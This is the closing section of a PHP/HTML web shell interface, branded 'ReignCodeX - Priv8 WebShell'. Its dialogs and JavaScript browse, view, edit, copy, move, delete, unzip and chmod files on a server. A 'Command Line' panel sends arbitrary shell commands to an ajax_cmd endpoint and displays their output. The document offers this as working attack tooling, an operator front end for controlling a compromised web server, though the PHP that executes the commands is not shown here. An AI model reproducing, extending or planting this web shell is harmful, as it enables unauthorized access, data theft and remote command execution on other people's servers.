<div id="copyMoveModal" class="modal"><div class="modal-content modal-small"><form id="copy-move-form" method="post" onsubmit="return handleBulkSubmit(this)"><h2>Copy/Move Items</h2><p>Enter absolute destination path.</p><input type="hidden" name="bulk_action" id="copy-move-action"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><div id="copy-move-items"></div><input type="text" name="destination_path" placeholder="/path/to/destination" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Confirm</button></div></form></div></div>
<div id="editModal" class="modal"><div class="modal-content modal-large"><h2 id="edit-title">Edit File</h2><form method="post" style="display:flex;flex-direction:column;flex-grow:1;"><input type="hidden" name="action" value="edit"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="edit-file-name" name="file"><textarea id="edit-content" name="content"></textarea><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Save</button></div></form></div></div>
<div id="viewModal" class="modal"><div class="modal-content modal-large"><h2 id="view-title">View File</h2><textarea id="view-content" readonly></textarea><div class="modal-buttons"><button type="button" id="view-to-edit-btn" class="btn-primary">Edit</button><button type="button" class="btn-secondary" onclick="closeAllModals()">Close</button></div></div></div>
<div id="cmdModal" class="modal"><div class="modal-content modal-large"><h2>Command Line</h2><pre id="cmd-output"></pre><form id="cmd-input-form"><input type="text" id="cmd-input" autocomplete="off" autofocus><button type="submit" class="btn-primary">Run</button></form><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Close</button></div></div></div>
<footer class="footer">
<p>© <?php echo date('Y'); ?> ReignCodeX - Priv8 WebShell</p>
<p>
<a href="https://github.com" target="_blank" title="GitHub"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg></a>
<a href="https://telegram.org" target="_blank" title="Telegram"><svg viewBox="0 0 24 24"><path d="M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12a12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.307.307 0 0 1 .1.288c-.052.242-.2.855-.282 1.23l-1.45 6.794a.46.46 0 0 1-.418.324c-.21.024-.397-.07-.533-.193l-2.212-1.71-1.058 1.01a.593.593 0 0 1-.44.186l.149-2.263 4.36-3.952c.19-.17.02-.26-.15-.156l-5.42 3.42-2.17.67a.452.452 0 0 1-.53-.483c.188-1.03 1.02-3.33 1.405-4.44a.412.412 0 0 1 .4-.288c.224-.002 1.43.54 1.43.54l.024-.014z"></path></svg></a>
</p>
</footer>
<script>
'use strict';
// expose current server path to JS
const currentPath = "<?php echo addslashes($path_param); ?>";
function showModal(id){ const el = document.getElementById(id); el.style.display = 'flex'; const focusEl = el.querySelector('[autofocus]'); if(focusEl) focusEl.focus();}
function closeAllModals(){
document.querySelectorAll('.modal').forEach(m => m.style.display = 'none');
// restore URL to show only the current path (keeps browser clean)
try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath)); }catch(e){}
}
document.addEventListener('keydown', e => { if (e.key === "Escape") closeAllModals(); });
function fetchContent(file, contentEl, titleEl, titlePrefix) {
if (titleEl) titleEl.innerText = titlePrefix + file;
contentEl.value = 'Loading...';
const url = `?action=get_content&path=<?php echo urlencode($path_param); ?>&file=${encodeURIComponent(file)}`;
fetch(url).then(res => res.text()).then(data => contentEl.value = data).catch(err => contentEl.value = 'Error loading file.');
}
function showEditModal(file){
// update URL to include path and file so reloads/redirects can preserve context
try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath) + '&file=' + encodeURIComponent(file)); }catch(e){}
fetchContent(file, document.getElementById('edit-content'), document.getElementById('edit-title'), 'Edit: ');
document.getElementById('edit-file-name').value = file;
showModal('editModal');
}
function showViewModal(file){
try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath) + '&file=' + encodeURIComponent(file)); }catch(e){}
fetchContent(file, document.getElementById('view-content'), document.getElementById('view-title'), 'View: ');
document.getElementById('view-to-edit-btn').onclick = () => { closeAllModals(); showEditModal(file); };
showModal('viewModal');
}
function showRenameModal(name){
document.getElementById('rename-old-name').value = name;
document.getElementById('rename-new-name').value = name;
showModal('renameModal');
}
function showChmodModal(name, perms){
document.getElementById('chmod-item-name').value = name;
document.getElementById('chmod-perms').value = perms;
showModal('chmodModal');
}
const actionForm = document.getElementById('file-action-form');
// Helper to safely set CSRF token from any known token input on page
function ensureCsrfOnForm(form){
try {
const pageToken = document.querySelector('input[name="csrf_token"]');
if(pageToken && form){
let fToken = form.querySelector('input[name="csrf_token"]');
if(!fToken){
fToken = document.createElement('input'); fToken.type = 'hidden'; fToken.name = 'csrf_token'; form.appendChild(fToken);
}
fToken.value = pageToken.value;
}
} catch(err) { console.warn('CSRF sync failed', err); }
}
// Ensure form has current path hidden input
function ensurePathOnForm(form){
try{
if(!form.querySelector('input[name="path"]')){
const p = document.createElement('input'); p.type='hidden'; p.name='path'; p.value = currentPath; form.appendChild(p);
} else {
form.querySelector('input[name="path"]').value = currentPath;
}
}catch(e){ console.warn('Path sync failed', e); }
}
document.querySelectorAll('.delete-btn').forEach(btn => {
btn.addEventListener('click', e => {
const name = btn.dataset.item || e.target.dataset?.item || '';
if(!name) return alert('Unable to determine item to delete.');
if(confirm('Delete "' + name + '"?')){
actionForm.querySelector('[name=action]').value = 'delete';
actionForm.querySelector('[name=item]').value = name;
ensurePathOnForm(actionForm);
ensureCsrfOnForm(actionForm);
actionForm.submit();
}
});
});
document.querySelectorAll('.unzip-btn').forEach(btn => {
btn.addEventListener('click', e => {
const name = btn.dataset.item || e.target.dataset?.item || '';
if(!name) return alert('Unable to determine archive to extract.');
if(confirm('Extract "' + name + '"?')){
actionForm.querySelector('[name=action]').value = 'unzip';
actionForm.querySelector('[name=item]').value = name;
ensurePathOnForm(actionForm);
ensureCsrfOnForm(actionForm);
actionForm.submit();
}
});
});
const mainForm = document.getElementById('main-form');
function handleBulkSubmit(form){
// ensure required hidden inputs are present
try{ if(typeof ensurePathOnForm === 'function') ensurePathOnForm(form); }catch(e){}
try{ if(typeof ensureCsrfOnForm === 'function') ensureCsrfOnForm(form); }catch(e){}
// append selected items from main form into this form
document.querySelectorAll('#main-form input[name="selected_items[]"]:checked').forEach(cb => {
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'selected_items[]';
input.value = cb.value;
form.appendChild(input);
});
// Validate presence of CSRF and path
const hasCsrf = !!form.querySelector('input[name="csrf_token"]')?.value;
const hasPath = !!form.querySelector('input[name="path"]')?.value;
if (!hasCsrf || !hasPath) {
alert('Missing CSRF token or path. Please reload the page and try again.');
return false;
}
// If copying/moving, ensure destination is provided
const bulkAct = form.querySelector('input[name="bulk_action"]')?.value || form.querySelector('#copy-move-action')?.value;
if ((bulkAct === 'copy' || bulkAct === 'move') && !form.querySelector('input[name="destination_path"]')?.value) {
alert('Please provide a destination path.');
return false;
}
return true;
}
const selectAllCheckbox = document.getElementById('select-all');
const itemCheckboxes = document.querySelectorAll('#main-form input[name="selected_items[]"]');
const bulkActionsBar = document.getElementById('bulk-actions-bar');
selectAllCheckbox.addEventListener('change', e => {
itemCheckboxes.forEach(cb => cb.checked = e.target.checked);
toggleBulkActionsBar();
});
itemCheckboxes.forEach(cb => cb.addEventListener('change', toggleBulkActionsBar));
function toggleBulkActionsBar(){
const anyChecked = [...itemCheckboxes].some(cb => cb.checked);
bulkActionsBar.style.display = anyChecked ? 'flex' : 'none';
}
function showCopyMoveModal(action) {
const form = document.getElementById('copy-move-form');
document.getElementById('copy-move-action').value = action;
document.querySelector('#copyMoveModal h2').textContent = `${action.charAt(0).toUpperCase() + action.slice(1)} Selected Items`;
// list selected items for confirmation
const checked = [...document.querySelectorAll('#main-form input[name="selected_items[]"]:checked')].map(cb => cb.value);
const itemsDiv = document.getElementById('copy-move-items');
if (checked.length === 0) {
itemsDiv.innerHTML = '<p style="color:#ffbebe;">No items selected.</p>';
} else {
itemsDiv.innerHTML = '<p><strong>Items:</strong> ' + checked.map(x => '<code>' + x + '</code>').join(', ') + '</p>';
}
// prefill destination with current directory to save typing
const destInput = form.querySelector('input[name="destination_path"]');
if (destInput) destInput.value = currentPath || destInput.value || '';
// ensure hidden path & csrf fields exist and are up-to-date
try{ ensurePathOnForm(form); }catch(e){}
try{ ensureCsrfOnForm(form); }catch(e){}
showModal('copyMoveModal');
}
const cmdForm = document.getElementById('cmd-input-form');
const cmdInput = document.getElementById('cmd-input');
const cmdOutput = document.getElementById('cmd-output');
cmdForm.addEventListener('submit', e => {
e.preventDefault();
const cmd = cmdInput.value.trim();
if (cmd === '') return;
cmdOutput.innerHTML += `\n<span style="color:var(--primary-color)">> ${cmd}\n</span>`;
const formData = new FormData();
formData.append('cmd', cmd);
formData.append('csrf_token', '<?php echo $_SESSION['csrf_token']; ?>');
fetch(`?action=ajax_cmd&path=<?php echo urlencode($path_param); ?>`, { method: 'POST', body: formData })
.then(response => response.text())
.then(output => {
cmdOutput.innerHTML += output;
cmdOutput.scrollTop = cmdOutput.scrollHeight;
})
.catch(error => {
cmdOutput.innerHTML += `<span style="color:var(--red-color)">Error: ${error}</span>`;
cmdOutput.scrollTop = cmdOutput.scrollHeight;
});
cmdInput.value = '';
});
// Clean up URL on load: remove transient params like 'file' or 'action' but preserve 'path'
document.addEventListener('DOMContentLoaded', function(){
try{
const params = new URLSearchParams(window.location.search);
// only modify URL if there are transient params we want to remove
if (params.has('file') || params.has('action')) {
const path = params.get('path') ? '?path=' + encodeURIComponent(params.get('path')) : '';
window.history.replaceState({}, document.title, window.location.pathname + path);
}
}catch(e){ /* ignore */ }
});
// Debug: log forms submissions and action names to help trace issues
document.querySelectorAll('form').forEach(f => {
f.addEventListener('submit', function(e){
try{
const fd = new FormData(f);
const keys = [];
for(const k of fd.keys()) keys.push(k);
const actionName = fd.get('action') || fd.get('bulk_action') || '[none]';
console.log('Form submit -> action:', actionName, 'fields:', keys);
}catch(err){ console.warn('Form debug error', err); }
});
});
// Ensure logout form is synced with current path and csrf before submit
document.querySelectorAll('.logout-form').forEach(f => {
f.addEventListener('submit', function(e){
try{ ensurePathOnForm(f); }catch(e){}
try{ ensureCsrfOnForm(f); }catch(e){}
try{ const keys = []; for(const k of new FormData(f).keys()) keys.push(k); console.log('Logout submit fields:', keys); }catch(e){}
});
});
</script>
<?php if (!empty($open_file)): ?>
<script>document.addEventListener('DOMContentLoaded', function(){ showEditModal('<?php echo addslashes($open_file); ?>'); });</script>
<?php endif; ?>
</body>
</html>